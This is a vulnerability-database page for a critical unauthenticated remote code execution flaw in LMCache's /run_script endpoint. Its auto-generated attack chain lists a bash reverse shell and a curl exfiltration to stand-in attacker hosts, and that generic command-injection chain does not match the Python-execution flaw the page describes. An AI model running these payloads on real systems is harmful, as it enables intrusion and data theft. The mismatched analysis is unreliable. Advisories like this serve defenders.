CVE Professor
›
Back
CVE-2026-107204

CVE-2026-107204 — LMCache — CWE-306

CRITICAL CVSS 9.8 NVD

CVE-2026-107204 is a CRITICAL severity Remote Code Execution (RCE) vulnerability (CWE-306) (CVSS 9.8/10) affecting LMCache. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network without authentication (PR:N) with zero user interaction (UI:N), resulting in complete compromise of system confidentiality and integrity (C:H/I:H).

📄 Official NVD / MITRE Original Record Text

LMCache through 0.5.5 contains an unauthenticated remote code execution vulnerability that allows remote attackers to execute Python code by posting scripts to the /run_script endpoint. Attackers can recover real builtins through the injected FastAPI app object, bypassing the guarded __import__, to import os and run operating system commands as the LMCache process.

Published 07.10.2026
ISO Date 2026-10-07
CVSS Version v3.1
Source NVD
CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation
🤖 Generating Deep AI Security Analysis…
Analyzing CVSS vector & CWE weakness structure…

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-107204
CVSS 9.8/10 · CRITICAL · 07.10.2026
CWE: CWE-306
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

🎯 WHAT IS THIS VULNERABILITY?
OS Command Injection
Summary: LMCache through 0.5.5 contains an unauthenticated remote code execution vulnerability that allows remote attackers to execute Python code by posting scripts to the /run_script endpoint. Attackers can recover real builtins through the injected FastAPI app object, bypassing the guarded __import__, to import os and run operating system commands as the LMCache process.

⚡ ATTACK CHAIN
1. Test injection: ; id, | id, backtick execution.
2. Blind via time delay: ; sleep 5
3. Reverse shell: ; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
4. OOB: ; curl https://attacker.com/$(whoami|base64)

🔧 Tools: commix, Metasploit, manual + netcat
🗺️ MITRE ATT&CK: T1059 (Command and Scripting Interpreter), T1190

🌍 REAL WORLD IMPACT
All confidential data readable/stealable; data can be modified or deleted; service can be completely taken down.

🛡️ REMEDIATION
→ Apply the vendor-released patch immediately.
→ Never pass user input to shell commands.
→ Pre-patch: put service behind VPN or apply IP allowlist.
→ Add WAF rule, create IDS alert for anomalous traffic.

⚠️ URGENCY
🚨 NOW (24-48h) — Remote, no-auth, low complexity.

────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
9.8 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-306
Related CVEs
9.8
CVE-2026-69157
## Summary atomic-server provisions a well-known invite at `{server}/setup` with `write = true`, `target` = t
9.8
CVE-2022-51027
MeterSphere versions 1.13.0 before 1.14.7 and 1.15.0 before 1.16.4 contain a pre-authentication code injection
9.8
CVE-2026-126752
Dagu 1.23.0 before 2.0.0 defaults auth.mode to none, allowing unauthenticated attackers to execute OS commands
9.3
CVE-2026-77297
MyMangaDB is a self-hosted manga collection manager with automatic metadata, MyAnimeList import, Docker suppor
9.3
CVE-2026-77296
MyMangaDB is a self-hosted manga collection manager with automatic metadata, MyAnimeList import, Docker suppor
9.1
CVE-2026-130154
Zyrabit Platform provides sovereign AI infrastructure for enterprise retrieval-augmented generation. Prior to